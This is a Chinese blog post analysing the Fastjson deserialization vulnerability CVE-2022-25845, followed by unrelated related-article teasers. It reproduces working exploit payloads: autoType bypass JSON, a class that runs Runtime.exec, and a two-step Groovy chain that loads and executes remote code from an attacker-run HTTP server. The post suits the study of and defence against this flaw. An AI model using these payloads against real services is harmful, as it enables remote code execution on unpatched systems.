Fastjson漏洞之CVE-2022-25845

前言:

针对Fastjson之前已经介绍了,这里就不再重复了,漏洞CVE-2017-18349只能用来攻击>=1.2.24版本的,CVE-2022-25845属于CVE-2017-18349的升级版,但是目前仅影响到1.2.83以下版本。CVE-2022-25845本质上是绕过了名单限制,下面我们来了解下该漏洞。

代码分析:

针对CVE-2017-18349的防御是添加了checkAutoType方法进行防御,下面我们先看看该代码:

com.alibaba.fastjson.parser.ParserConfig.checkAutoType

代码如下:

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;} else {String className = typeName.replace('$', '.');if (this.autoTypeSupport || expectClass != null) {int i;String deny;for(i = 0; i < this.acceptList.length; ++i) {deny = this.acceptList[i];if (className.startsWith(deny)) {return TypeUtils.loadClass(typeName, this.defaultClassLoader);}}for(i = 0; i < this.denyList.length; ++i) {deny = this.denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}Class<?> clazz = TypeUtils.getClassFromMapping(typeName);if (clazz == null) {clazz = this.deserializers.findClass(typeName);}if (clazz != null) {if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());} else {return clazz;}} else {if (!this.autoTypeSupport) {String accept;int i;for(i = 0; i < this.denyList.length; ++i) {accept = this.denyList[i];if (className.startsWith(accept)) {throw new JSONException("autoType is not support. " + typeName);}}for(i = 0; i < this.acceptList.length; ++i) {accept = this.acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}if (this.autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);}if (clazz != null) {if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;}throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}if (!this.autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);} else {return clazz;}}}}

 其中有两个地方进行了防御:

首先第一处是设置了黑名单,如果反射的class位于黑名单中会直接异常:

设置的黑名单如下:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

当位于黑名单中,无论autoTypeSupport是否为true都会返回异常

第二处就是针对autoTypeSupport的校验,当其为false的时候,会直接返回异常

 所以说要是想要执行,必须能够进入到return clazz代码,下面我们逐个分析下哪个有可能:

 这里可以看到有两处会返回clazz 

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
clazz = this.deserializers.findClass(typeName);

针对第一处我们看看什么情况下会返回clazz

可以看到如下方法可以被返回

复制出来共有86个如下:

mappings = {ConcurrentHashMap@6710}  size = 86"java.awt.Color" -> {Class@7347} "class java.awt.Color""[char" -> {Class@351} "class [C""java.lang.IllegalStateException" -> {Class@4775} "class java.lang.IllegalStateException""java.lang.IndexOutOfBoundsException" -> {Class@6946} "class java.lang.IndexOutOfBoundsException""java.sql.Time" -> {Class@6842} "class java.sql.Time""java.lang.NoSuchMethodException" -> {Class@700} "class java.lang.NoSuchMethodException""java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap""java.util.Date" -> {Class@1172} "class java.util.Date""java.awt.Point" -> {Class@7356} "class java.awt.Point""[boolean" -> {Class@352} "class [Z""float" -> {Class@6689} "float""java.lang.AutoCloseable" -> {Class@289} "interface java.lang.AutoCloseable""java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException""java.lang.NoSuchFieldError" -> {Class@699} "class java.lang.NoSuchFieldError""java.lang.NoSuchFieldException" -> {Class@3987} "class java.lang.NoSuchFieldException""java.util.concurrent.atomic.AtomicInteger" -> {Class@187} "class java.util.concurrent.atomic.AtomicInteger""java.util.Locale" -> {Class@40} "class java.util.Locale""java.lang.InstantiationException" -> {Class@6986} "class java.lang.InstantiationException""java.lang.InternalError" -> {Class@354} "class java.lang.InternalError""java.lang.SecurityException" -> {Class@1609} "class java.lang.SecurityException""[int" -> {Class@346} "class [I""[double" -> {Class@349} "class [D""java.lang.Cloneable" -> {Class@335} "interface java.lang.Cloneable""java.lang.IllegalAccessException" -> {Class@6961} "class java.lang.IllegalAccessException""java.util.IdentityHashMap" -> {Class@380} "class java.util.IdentityHashMap""java.lang.LinkageError" -> {Class@325} "class java.lang.LinkageError""byte" -> {Class@7375} "byte""double" -> {Class@7377} "double""java.awt.Font" -> {Class@7379} "class java.awt.Font""java.sql.Timestamp" -> {Class@7050} "class java.sql.Timestamp""java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap""java.lang.StringIndexOutOfBoundsException" -> {Class@7130} "class java.lang.StringIndexOutOfBoundsException""java.util.UUID" -> {Class@6682} "class java.util.UUID""java.lang.Exception" -> {Class@330} "class java.lang.Exception""java.lang.IllegalAccessError" -> {Class@6803} "class java.lang.IllegalAccessError""com.alibaba.fastjson.JSONObject" -> {Class@6429} "class com.alibaba.fastjson.JSONObject""java.awt.Rectangle" -> {Class@7387} "class java.awt.Rectangle""java.lang.StackOverflowError" -> {Class@320} "class java.lang.StackOverflowError""[B" -> {Class@348} "class [B""java.lang.TypeNotPresentException" -> {Class@6858} "class java.lang.TypeNotPresentException""[C" -> {Class@351} "class [C""[D" -> {Class@349} "class [D""java.text.SimpleDateFormat" -> {Class@1131} "class java.text.SimpleDateFormat""java.util.HashMap" -> {Class@206} "class java.util.HashMap""[F" -> {Class@350} "class [F""long" -> {Class@6675} "long""[I" -> {Class@346} "class [I""java.util.TreeSet" -> {Class@584} "class java.util.TreeSet""[short" -> {Class@347} "class [S""[J" -> {Class@345} "class [J""java.lang.VerifyError" -> {Class@6941} "class java.lang.VerifyError""java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap""java.util.HashSet" -> {Class@365} "class java.util.HashSet""java.lang.IllegalMonitorStateException" -> {Class@319} "class java.lang.IllegalMonitorStateException""[byte" -> {Class@348} "class [B""java.util.Calendar" -> {Class@1145} "class java.util.Calendar""[S" -> {Class@347} "class [S""java.lang.StackTraceElement" -> {Class@1523} "class java.lang.StackTraceElement""java.lang.NoClassDefFoundError" -> {Class@1654} "class java.lang.NoClassDefFoundError""java.util.Hashtable" -> {Class@304} "class java.util.Hashtable""java.util.WeakHashMap" -> {Class@180} "class java.util.WeakHashMap""java.util.LinkedHashSet" -> {Class@915} "class java.util.LinkedHashSet""[Z" -> {Class@352} "class [Z""java.lang.NegativeArraySizeException" -> {Class@6891} "class java.lang.NegativeArraySizeException""java.lang.IllegalThreadStateException" -> {Class@7103} "class java.lang.IllegalThreadStateException""[long" -> {Class@345} "class [J""java.lang.NoSuchMethodError" -> {Class@210} "class java.lang.NoSuchMethodError""java.lang.NumberFormatException" -> {Class@4340} "class java.lang.NumberFormatException""java.lang.RuntimeException" -> {Class@329} "class java.lang.RuntimeException""java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException""int" -> {Class@7422} "int""java.sql.Date" -> {Class@7066} "class java.sql.Date""java.util.concurrent.TimeUnit" -> {Class@1262} "class java.util.concurrent.TimeUnit""java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong""java.util.concurrent.ConcurrentSkipListMap" -> {Class@4650} "class java.util.concurrent.ConcurrentSkipListMap""boolean" -> {Class@6694} "boolean""java.util.concurrent.ConcurrentSkipListSet" -> {Class@4647} "class java.util.concurrent.ConcurrentSkipListSet""java.util.TreeMap" -> {Class@163} "class java.util.TreeMap""java.lang.InstantiationError" -> {Class@6840} "class java.lang.InstantiationError""java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException""[float" -> {Class@350} "class [F""char" -> {Class@7434} "char""short" -> {Class@6691} "short""java.lang.Object" -> {Class@344} "class java.lang.Object""java.util.BitSet" -> {Class@18} "class java.util.BitSet""java.lang.OutOfMemoryError" -> {Class@321} "class java.lang.OutOfMemoryError"

第二处 deserializers可以看到有如下方法:

具体有很多类型,这里就不进行罗列;

然后第二处如下,这里是获取用户设置的白名单

 第三处如下,第三处想被调用需要满足checkAutoType的第二个参数不能为空或者autoTypeSupport为true

最后一处就是autoTypeSupport为true的情况下,当不满足上面任意一个选项的时候会进行调用。

对上面四处分析可以发现正常情况下程序员不会把autoTypeSupport设置为false,但是利用前两个我们可以绕过autoTypeSupport的校验,但是要想反射我们指定的方法,则还是需要配合第三处,通过继承指定的方法完成,下面我们分别进行测试下:

首先我们测试第二个,我们发现如下方法位于名单中,那我们测试使用该方法可否绕过

java.net.InetSocketAddress

发送如下poc

{"name":{"@type":"java.net.InetSocketAddress","val":"0u3967.dnslog.cn"},"age":30
}

执行后发现成功返回java.net.InetSocketAddress,并最后进入到return clazz中被反射,进而绕过了autoTypeSupport

 下面同样的我们测试第一处,使用名单中的java.lang.Exception,同样绕过了autoTypeSupport限制

知道了怎么绕过autoTypeSupport,但是我们只能调用反射名单中的类,这样没办法利用,打个DNSLOG也没什么意思,这个时候就要配合利用第三处加载两次我们的反射类即可,这里着重先看下关键的几个地方:

代码位于如下:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject

进入getDeserializer方法需要注意,这里我们知道利用的是java.lang.Exception,所以我们这里就基于这个进行讲解,由于第一次调用内部列表中没有java.lang.Exception,所以会先调用下面的getDeserializer方法将java.lang.Exception和对应的继承类型放入列表中,后面调用就可以直接返回该方法和继承类:

最后添加的 java.lang.Exception和对应的处理方法到列表中:

最后通过获取上面的列表得到具体的处理方法:

然后会进入class com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中处理:

重点来了,再 ThrowableDeserializer的deserialze处理方法中获取到第二个@type内容并作为参数调用了checkAutoType方法,这样我们就可以调用我们自己的方法,但是这里有一个需要注意,就是我们调用的方法也要继承Throwable:

这里我们可以尝试调用一个其他的方法 

执行后发现其最后调用class com.alibaba.fastjson.serializer.MiscCodec,但是其中的deserialze方法并没有调用checkAutoType,因此只有特定的方法可以:

对源码查看发现具体的不同类的处理方法位于如下列表代码中:

com.alibaba.fastjson.parser.deserializer

 查找共发现四处可以调用checkAutoType:

JavaBeanDeserializer:
userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures());AbstractDateDeserializer
Class<?> type = parser.getConfig().checkAutoType(typeName, (Class)null, lexer.getFeatures());MapDeserializer:
clazz = config.checkAutoType(typeName, (Class)null, lexer.getFeatures());ThrowableDeserializer
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

再看看checkAutoType对参数的要求:

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)

其中autoTypeSupport和jsonType我们没办法设置为true,所以expectClassFlag要求不能为空,则AbstractDateDeserializer和MapDeserializer无法利用,仅剩JavaBeanDeserializer和ThrowableDeserializer

下面就需要确定哪些方法可以最终调用到ThrowableDeserializer或者JavaBeanDeserializer,这里就需要关注

com.alibaba.fastjson.parser.ParserConfig的getDeserializer方法

可以看到当为Throwable或者不属于上述任何一个类型即可分别进入 ThrowableDeserializer或者JavaBeanDeserializer中,ThrowableDeserializer较为简单,直接以ThrowableDeserializer测试:

首先编写测试代码:

测试代码如下:

package org.example.controller;import java.io.IOException;public class mytest extends Exception {public void setName(String str) {try {Runtime.getRuntime().exec(str);} catch (IOException e) {e.printStackTrace();}}
}

代码中需要注意,需要继承 Exception ,不然无法通过类型检测,具体的检测后面会讲解:

攻击代码:

{"@type": "java.lang.InternalError","@type": "org.example.controller.mytest","name": "calc.exe"
}

进入checkAutoType中调用参数如下:

此处会对类型进行校验,如果不相同会报错,这就是为什么必须继承Exception

最后调用我们自己添加的类弹出计算器 

上述就是大致的利用思路,然后我们看看网上公布的利用链,进行分析

利用:

网上利用链如下,需要分两步:

{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}
}{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:1111/"}
}

下面我们先代码大概分析下调用思路

首先需要知道我们真正想要利用的点为

org.codehaus.groovy.control.CompilationUnit方法为addPhaseOperations的ASTTransformationVisitor.addPhaseOperations(this);

进而实现加载远程代码,但是要如果设置上加载的远程地址和如何最终调用,攻击利用很巧妙,我们下面进行分析:

首先我们需要先利用Exception加载我们需要的类,我们先要找到一个继承了Exception的类,并且调用了我们需要加载的方法:

发现org.codehaus.groovy.control.CompilationFailedException符合我们的需求,其中需要调用我们需要加载的org.codehaus.groovy.control.ProcessingUnit

当发送了上述的poc,可以成功的将org.codehaus.groovy.control.CompilationFailedException和org.codehaus.groovy.control.ProcessingUnit加入到名单中,可以绕过校验。

 这样org.codehaus.groovy.control.ProcessingUnit就成功的绕过了检测,下面就可以发送第二个poc了,首先我们看看org.codehaus.groovy.tools.javac.JavaStubCompilationUnit类型:

可以看到 JavaStubCompilationUnit继承自ProcessingUnit,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也可以绕过检测被加载到名单中:

 查看其调用参数:

可以看到其第一个参数为 org.codehaus.groovy.control.CompilerConfiguratio,所以会调用到org.codehaus.groovy.control.CompilerConfiguration方法

 

这样我们就可以利用 CompilerConfiguration的setClasspathList方法来设置远程服务器地址了:

设置完地址后回回到JavaStubCompilationUnit方法,并调用如下代码:

super(config, (CodeSource)null, gcl);

这样就会调用到父类CompilationUnit方法:

然后又会调用父进程ProcessingUnit:

super(configuration, loader, (ErrorCollector)null);

setClassLoader中调用了GroovyClassLoader:

return new GroovyClassLoader(parent, this.getConfiguration());

此处将地址添加到了Groovy远程地址中:

添加完成后回到CompilationUnit方法中,然后就会调用到addPhaseOperations方法:

然后会调用addPhaseOperations中的ASTTransformationVisitor方法:

ASTTransformationVisitor.addPhaseOperations(this);

进入addGlobalTransformsAfterGrab代码可以看到此处加载远程META-INF/services/org.codehaus.groovy.transform.ASTTransformation代码:

Enumeration<URL> globalServices = transformLoader.getResources("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");

 访问远程服务器文件:

读取文件内容获取classname为Blue: 

最后调用addPhaseOperationsForGlobalTransforms方法完成实列化:

利用:

利用需要先新建目录\META-INF\services\并新建文件org.codehaus.groovy.transform.ASTTransformation,其中添加我们要加载的类,这里按照POC走Blue

然后使用javac编译如下java代码为Blue.class

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;import java.io.IOException;@GroovyASTTransformation
public class Blue implements ASTTransformation {static {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {}
}

 然后搭建服务器:

python -m http.server 8013

然后依次发送两个poc,可以成功执行我们远程代码:

 攻击链非常巧妙,其主要核心思想是利用Groovy 编译器加载远程代码,利用了java.lang.Exception过滤漏洞实现了对任意类的加载最终导致命令执行;

防御:

1.2.80后已经可以进行防御,看了下83的代码防御简单粗暴,针对Exception和Error进行了过滤,阻止了Exception的加载

总结: 

针对1.2.83以下的版本虽然1.2.24后虽然添加了checkAutoType检测,但是忽略了针对Exception和Error的过滤导致了使用该类可以通过Groovy实现远程方法加载,漏洞不复杂,但是利用Groovy实现远程类的加载还是很有意思,感兴趣的可以深挖下看看有没有其他调用链玩

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/30941.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot | 实现邮件发送

运行环境&#xff1a; IntelliJ IDEA 2022.2.5 (Ultimate Edition) (注意&#xff1a;idea必须在2021版本以上&#xff09;JDK17 项目目录&#xff1a; 该项目分为pojo,service,controller,utils四个部分&#xff0c; 在pojo层里面写实体内容&#xff08;发邮件需要的发件人邮…

【etcd】etcd单机安装及简单操作

https://blog.csdn.net/Mr_XiMu/article/details/125026635 https://blog.csdn.net/m0_73192864/article/details/136509244 etcd在生产环境中一般为集群方式部署 etcd使用的2个默认端口号&#xff1a;2379和2380 2379&#xff1a;用于客户端通信(类似于sqlserver的1433&#x…

vscode卡顿问题处理(vue-official插件)

vue官方扩展由volar升级为vue-official&#xff0c;部分人的ide会变得非常卡顿&#xff0c;这是由于vscode本身一些问题导致&#xff0c;如下图作者解释&#xff1a; 解决方式&#xff1a; 通过禁用Hybrid模式&#xff0c;不使用tsserver来接管语言支持&#xff0c;卡顿会缓解…

CSS文本超限后使用省略号代替

方案一&#xff1a; 只显示一行&#xff0c;超限后使用省略号代替 .detail {overflow: hidden;text-overflow: ellipsis;white-space: nowrap; }方案二&#xff1a; 显示多行&#xff0c;到最后一行还没有显示完&#xff0c;则最后一行多出来的部分使用省略号代替。 .detai…

Vulhub——Log4j、solr

文章目录 一、Log4j1.1 Apache Log4j2 lookup JNDI 注入漏洞&#xff08;CVE-2021-44228&#xff09;1.2 Apache Log4j Server 反序列化命令执行漏洞&#xff08;CVE-2017-5645&#xff09; 二、Solr2.1 Apache Solr 远程命令执行漏洞&#xff08;CVE-2017-12629&#xff09;2.…

异步任务使用场景与实践

异步任务使用场景 根据同步/异步方式划分场景&#xff0c;各场景下常用的技术方案如下&#xff1a; 方式实现特点缺点同步HTTP RPC Cache etc.指标&#xff1a;RT、QPS、TPS、缓存命中率 等&#xff1b; 关注&#xff08;准&#xff09;实时数据&#xff0c;用户可交互1. 处…

javascript--类型检测 type of 和 instanceof

类型判断 1、typeof2、instanceof**instanceof 的原理** 3、constructor 1、typeof typeof在检测null、object、array、data的结果中都是object&#xff0c;所以无法用来区分这几个类型的区别。 <script>let a ["123",123,false,true,Symbol(1),new Date(),n…

ubuntu18.04 安装HBA

HBA是一个激光点云层级式的全局优化的程序&#xff0c;他的论文题目是&#xff1a;HBA: A Globally Consistent and Efficient Large-Scale LiDAR Mapping Module&#xff0c;对应的github地址是&#xff1a;HKU-Mars-Lab GitHub 学习本博客&#xff0c;可以学到gtsam安装&am…

系统凭据钓鱼揭秘

背景 在进行内网横向移动时&#xff0c;通常会尝试抓取目标机器上的登录哈希和密码。但是&#xff0c;这种方法并不总是可行&#xff0c;因为有些目标机器可能没有这些信息&#xff0c;或者这些信息已经被清除或加密。因此&#xff0c;黑客们开始模拟Windows系统环境中的身份认…

智慧学习实践系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;企业管理&#xff0c;任务管理&#xff0c;公告管理&#xff0c;菜单管理&#xff0c;用户管理&#xff0c;基础数据管理 企业账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;任务…

视频融合共享平台LntonCVS视频监控安防系统运用多视频协议建设智慧园区方案

智慧园区&#xff0c;作为现代化城市发展的重要组成部分&#xff0c;不仅推动了产业的升级转型&#xff0c;也成为了智慧城市建设的核心力量。随着产业园区之间的竞争日益激烈&#xff0c;如何打造一个功能完善、智能化程度高的智慧园区&#xff0c;已经成为了业界广泛关注的焦…

多线程(Lock锁,死锁,等待唤醒机制,阻塞队列,线程池)

Lock锁 虽然我们可以理解同步代码块和同步方法的锁对象问题但是我们并没有直接看到在哪里加上了锁&#xff0c;在哪里释放了锁为了更清晰的表达如何加锁和释放锁&#xff0c;JDK5以后提供了一个新的锁对象Lock Lock实现提供比使用synchronized方法和语句可以获得更广泛的锁定操…

数据可视化作业二:中国城市地铁数据可视化

目录 作业要求 一、绘制每个城市站点数量柱状图&#xff08;降序排列&#xff09; 1.1 每个城市站点数量统计 1.1.1 代码展示 1.1.2 统计结果展示 1.2 柱状图绘制 1.2.1 代码实现 1.2.2 绘制结果 二、绘制上海市地铁线路站点数饼状图 2.1 数据处理 2.2 代码实现 2.3…

实际二分搜索(写出函数,再用二分搜索法找左右边界 画图理解

实际二分搜索&#xff08;写出函数&#xff0c;再用二分搜索法找左右边界 看到最大值的最小化&#xff0c;左边界&#xff0c;最小化的最大值&#xff0c;右边界 画图理解 爱吃香蕉的珂珂 class Solution {public int minEatingSpeed(int[] piles, int h) {int left1,right10…

Mysql 8.3.0 安装

Mysql 8.3.0 安装地址&#xff1a;MySQL :: Download MySQL Community Server (Archived Versions) 下载链接&#xff1a;https://downloads.mysql.com/archives/get/p/23/file/mysql-8.3.0-linux-glibc2.28-x86_64.tar.xz 解压&#xff1a; tar -xvf mysql-8.3.0-linux-glib…

sql资料库

1、distinct(关键词distinct用于返回唯一不同的值)&#xff1a;查询结果中去除重复行的关键字 select distinct(university) from user_profile select distinct university from user_profile distinct是紧跟在select后面的&#xff0c;不能在其他位置&#xff0c;不然就…

【Linux】I/O多路复用模型 select、poll、epoll

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;Linux系列专栏&#xff1a;Linux基础 &#x1f525; 给大家…

多模块存储器

随着计算机技术的发展&#xff0c;处理的信息量越来越多&#xff0c;对存储器的速度和容量要求也越来越高&#xff1b;而且随着CPU性能的不断提高、IO设备数量不断增加&#xff0c;导致主存的存取速度已经称为了整个计算机系统的性能瓶颈。这就要求我们必须提高主存的访问速度。…

令人震撼的人类智慧的科学领域-AI技术

AI&#xff0c;全称为人工智能&#xff08;Artificial Intelligence&#xff09;&#xff0c;是一门致力于让机器模仿人类智慧的科学领域。其核心技术涵盖了机器学习、自然语言处理、计算机视觉及专家系统等多个方面。AI旨在开发能够感知环境、进行逻辑推理、自主学习并做出决策…

【VMware】VMware虚拟机安装_配置_使用教程

一、准备工作 1、下载VMware软件&#xff1a;访问VMware官方网站&#xff0c;下载适合你操作系统的VMware Workstation Pro安装包。 下载地址&#xff1a;VMware Desktop Hypervisors for Windows, Linux, and Mac 2、准备操作系统镜像文件&#xff1a;根据你想要在虚拟机中安…